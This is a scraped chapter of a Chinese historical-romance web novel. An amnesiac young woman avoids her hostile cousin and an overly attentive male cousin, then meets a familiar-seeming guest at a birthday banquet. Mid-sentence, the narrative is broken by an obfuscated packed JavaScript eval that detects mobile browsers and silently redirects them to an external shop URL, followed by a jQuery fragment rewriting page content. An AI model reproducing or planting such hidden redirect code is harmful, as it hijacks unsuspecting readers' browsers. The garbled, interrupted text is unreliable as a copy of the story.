默认冷灰
24号文字
方正启体

1. 悸动

作者:阿然今天吃什么本书字数:K更新时间:
    秋高气爽,风轻云淡。少宜站在池塘边,百无聊赖地看着丫鬟云筝给池里的胖鲤鱼喂食。


    这段时间她以头伤初愈为由,躲在房里不是吃就是睡,那日子过得,好不快活!若不是今日云筝非说自己脸圆了些,她也是断断不会出门的。


    “陆少宜!”不远处一个尖利的声音如针一般,瞬间划破了这幅少女池边沉思的秋景图。


    少宜回过头,看见一锦衣华服的女子正气势汹汹地朝她走来。


    “这是裴大小姐。”云筝小声在她耳边提醒。


    裴语鸳自然没放过云筝和少宜耳语的小动作,她嘴角扯出一个冷笑:“我听说你醒来后失忆了,没想到竟是真的。陆少宜,你当真连我都不认识了?”


    “不认识,想不起来了。”少宜摇摇头,无辜地眨巴双眼。


    裴语鸳被她那不以为意的态度气得直咬牙,顿了顿又语气不明地问道:“是吗?那你也不记得自己是怎么受的伤了?”


    少宜看裴语鸳一副嚣张挑衅的模样,心里若有所思。她一直怀疑自己在花园里摔倒磕破头是因为裴语鸳,就算不是她干的,也肯定和她脱不了干系!


    她故作惊讶道:“我摔倒受伤,难道不是你推的吗?”


    裴语鸳瞪圆了眼睛,声音又高又尖细地喊:“陆少宜!我看你真是把脑袋摔坏了,什么胡话都敢往外说,谁推你了!”


    然后她又想了想,作出一副恍然大悟的表情。“我知道了,你想栽赃我是吧!”


    少宜声音幽幽回道:“表姐平日里待我如何,无论是大奶奶二奶奶、还是那些丫鬟婆子都看在眼里,又何须我栽赃呢?”


    裴语鸳脸色霎时变得难看起来。


    裴语鸳平日待陆少宜如何?自从陆少宜住进庆远侯府以后,她就一天也没消停过。今日指桑骂槐,明日含沙射影。无非就是说陆少宜脸皮厚,身为二奶奶的姨母都已经去世了,她还拿自己当侯府的表小姐呢,腆着脸不肯走。


    有这样的主子做表率,私下里,她大房的那些丫鬟婆子也没少跟着笑话陆少宜。如果语言是刀子,陆少宜早就千疮百孔了。


    这些事云筝这几日都和少宜讲过,少宜虽然记不得了,却也能想象到那是怎样屈辱的场面。可她又能如何呢,说到底,大爷才是侯府的世子,这庆远侯府终归是他们大房的。二房的姨夫娶了新奶奶后还愿意接纳自己,也是看在亡妻陆氏的份上,他对陆家已经仁至义尽了,自己又怎么能再给姨夫添麻烦!


    “裴语鸳!你在干什么?”


    不知从哪冒出一个少年突然冲上前把裴语鸳拉开。


    裴语鸳仰起头看向比自己高出许多的少年,不悦地甩开他的手。“哥哥,你握的我手腕好疼,快点松开!”


    “谁叫你自己不老实!”少年松开手,看见裴语鸳手腕上的一圈红,语气又缓和了些,“没事吧?”


    云筝趁机会赶紧在少宜耳边小声说:“这是裴大少爷。”


    裴桓松开妹妹,一脸关切地问她:“少宜,你没事吧?语鸳是不是又欺负你了?”


    少宜垂着眼眸没有说话,只是摇摇头。


    “你别怕!有我在。”裴桓语气温柔和缓,让人听了如沐春风一般。“少宜,有什么事你和我说,我不会让人欺负了你。”


    裴语鸳在裴桓身后哼了一声,目露不屑。裴桓马上回头,带着警示的目光瞪了她一眼。


    “你哼什么哼?一点大家闺秀的规矩都没有,像什么样子,娘看见了又要教训你。”


    一提到大奶奶,裴语鸳缩了缩脖子,整个人都老实了许多,但还是不甘示弱地小声嘀咕道:“你整日在内宅里瞎转悠,娘才要教训你呢!”


    “我是下了学给祖母请安去的,什么时候在内宅瞎转悠了?你不要乱讲!”裴桓皱了眉,不悦道,“倒是你,今天又没去请安吧?晚上就是祖母的寿宴了,你可别再给祖母惹是生非!”


    裴桓站的笔直,一袭月白色绣金边直缀,腰际玉佩。十八岁的少年已褪去稚气,容貌端正清俊,显现出温润如玉的气质。


    这样的人实在显眼,又是侯府嫡长孙,周围已有不少小丫鬟忍不住抬起头偷偷看他们。


    少宜觉得此地是非太多、不宜久留,拉上云筝转身就走。


    裴桓还想与少宜说话,转身却见她已走出去好远,也不顾周围人的目光,抬腿就追了过去。裴语鸳气得直跺脚——这个傻子!这么多双眼睛看着,他就这样跟在人家屁股后面跑,传出去像什么话!


    裴桓却好像不知道似的,追在后面喊:“少宜,少宜!”


    少宜假装听不见,脚步倒得飞快。裴桓便几大步向前,将身体拦在了她前面。


    她只好忍着不快,软声问道:“桓表哥,你找我还有什么事?”


    “怎么叫我桓表哥,不叫我应卿哥哥了?”裴桓笑着问她,眼中尽是温柔。


    少宜听完身体一顿,飞快地斜睨了云筝一眼。云筝小幅度地摇头,表示她也不知道怎么回事。


    少宜的心一凉。


    老天爷!!难道她曾经还背着旁人与裴桓有什么劳什子私情不成?!


    裴桓以为她生气了才不说话,语气放得更加柔和,“你是不是气我前些日子没有去看你?父亲这几天一直在考我制艺,我实在是出不去……你还没醒的时候我倒是去过一次,二婶没有告诉你吗?”


    少宜都不知道说什么好了,脸色难看地环顾四周——幸好没有人在附近。


    裴桓笑道:“你不用怕,有我在,没事的。”


    见少宜一张小脸苍白无色,裴桓便又走近了几步,关心道:“你怎么了?不舒服吗?是不是被风吹到了,你身体刚好,还是不宜受风的。”说完还想伸手去碰她额前的碎发。


    少宜吓了一大跳,仓惶后退了几步躲开他的手,然后逃也似的跑掉了。


    “快走!”少宜边跑边对身后的云筝催促,云筝急急地朝裴桓行了个礼,便紧跟着少宜离开了。


    裴桓身旁的小厮田文害怕主子又要跟过去,连忙在一旁说:“少爷,咱们快去书房吧,一会儿让大奶奶看见就不好了!”


    裴桓不以为意地点点头,眼神依旧黏在少宜的背影上。他一只手握拳掩在唇边轻笑了一声,只觉得少宜像只敏感胆小的兔子,简直是可爱至极。


    少宜这次脚步匆匆没有停下,直接一溜烟回了涵月阁。回到自己院子里的少宜依旧心有余悸。


    此时屋内只剩下她们主仆两人,少宜往窗外望了望,其他的丫鬟们都离得很远,各自做着自己的事情。


    她示意云筝把耳朵凑近,然后低声说:“今天的事,绝对不许和任何人说,听见没有?”


    说完也不知道云筝这丫头到底可不可信,便又加了一句:“你要是说出去了,不光是我,你也一样没有好果子吃。不论是大奶奶还是二奶奶,都不会轻易放过你的!”


    云筝吓得连忙跪了下去,急声道:“小姐放心,云筝都省得的!您要是有什么事,我第一个脱不了干系,绝对不会说出去!”


    少宜点点头,靠在椅子上闭目养神。云筝见少宜神色微霁,便凑过去小声问:“小姐……您不喜欢桓少爷吗?”


    “不喜欢。”少宜闭着眼睛,果断地回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487018|202070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    答。


    小姐为什么不喜欢裴少爷呢?少爷不仅英俊非凡、还颇具才干,听大爷和二爷说,来年下场少爷定能中个解元回来!更何况少爷还是侯府的嫡长孙,未来的小侯爷!


    云筝觉得自家小姐和桓少爷简直是郎才女貌、天造地设的一对。


    “云筝,我不想嫁什么高门大户,更不想嫁到侯府。”少宜仍旧闭着眼睛,轻声地喃喃道,“我这辈子只求有吃有喝,桓表哥再好,又干我什么事呢?”


    “小姐,您这次受伤醒来之后,好像和从前不太一样了……”云筝感慨道。


    少宜想起二奶奶和自己说的,当时受伤昏迷她曾一度没了气,连大夫都束手无策,幸好没过一会便又有了微弱的气息,这才救过来。


    “大概是从鬼门关里走了一遭吧……云筝,我现在只觉得人生如寄,时光短暂,荣华富贵又能如何呢?”


    云筝没听懂,一脸的茫然。


    “以后还是离大房的人远一点比较好,我们关起门来自己玩也是一样的!”少宜摸了摸云筝的头。


    这句云筝听懂了,她顺从地点了点头。大房除了桓少爷,其他的人似乎都不怎么喜欢小姐,小姐远离他们也好,免得被大房的人欺负!


    少宜一想到刚才裴桓看她的眼神和说的那些话,就瘆得慌!眼下她还在侯府住着,可不想给自己惹麻烦。可晚上是老夫人寿宴,她现在也算是二房的人,不能不去。


    于是稍晚一些的时候,她还是硬着头皮随二奶奶去了宴厅。


    --


    宴厅里大家说说笑笑好不热闹。少宜坐在角落里乖巧得像个鹌鹑,裴语鸳在对面几次挑衅,她只当没看见,侧着头听二奶奶和亲眷寒暄。


    大奶奶的娘家陈家也来了,陈家老太太坐在老夫人身旁和她亲亲热热地聊着天,大奶奶在一旁侍候,脸上的笑容止也止不住。


    虽然娘家就在京城,但侯府事忙,自己又要掌家又要伺候婆婆,说来她也很久没有回娘家了。陈氏便问道:“娘,弟弟也来了吗?”


    “来了,和你父亲一起正拜见侯爷呢!”陈老太太高兴道。


    “嘉宴也来了?好久没看见这孩子了,他最近怎么样?还好吗?”老夫人关切地问。


    “他很好,劳亲家挂念了!一会就让他过来给你请安!”


    几人正说着,老夫人的丫鬟珍珠欣喜地从门外走了进来,行了礼道:“老夫人,陈家大爷到了,在外面等着进来跟您请安呢!”


    “啊呀,真是说曹操曹操就到!珍珠,还不快把人请进来!”老夫人笑容满面地催促着珍珠。


    此时屋子里的女眷除了少宜和裴语鸳,其他人论起辈来皆是陈嘉宴的亲戚长辈,而裴语鸳又是他的亲外甥女,老夫人便也没让大家避嫌,只催着叫陈嘉宴快点进来。


    珍珠领了命小跑着出了屋子,紧接着一个高大的身影便出现在众人眼前。


    少宜也跟随着大家的目光看向来人,只见那人身着暗红色云纹直缀,头上簪白玉簪,身姿挺拔、身形修长矫健,气度更是雍容。


    陈嘉宴几步走上前,恭敬地给老夫人行了个礼,“嘉宴祝老夫人如青松常翠,福寿绵长。”


    献上寿礼后,陈嘉宴便在原地站定,少宜这才看清此人的长相——眉若远山、鼻若悬胆,面容俊朗非凡。只是这男子眼里却布满了疲惫,眼下也泛着青,眸色黯淡发沉。


    老夫人和善地和他说起话来。


    少宜心中好像有什么在悸动着,此人让她感觉非常熟悉,那棱角分明的脸庞就好像在她脑海里雕刻过无数遍,一举一动都是那样清晰深刻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)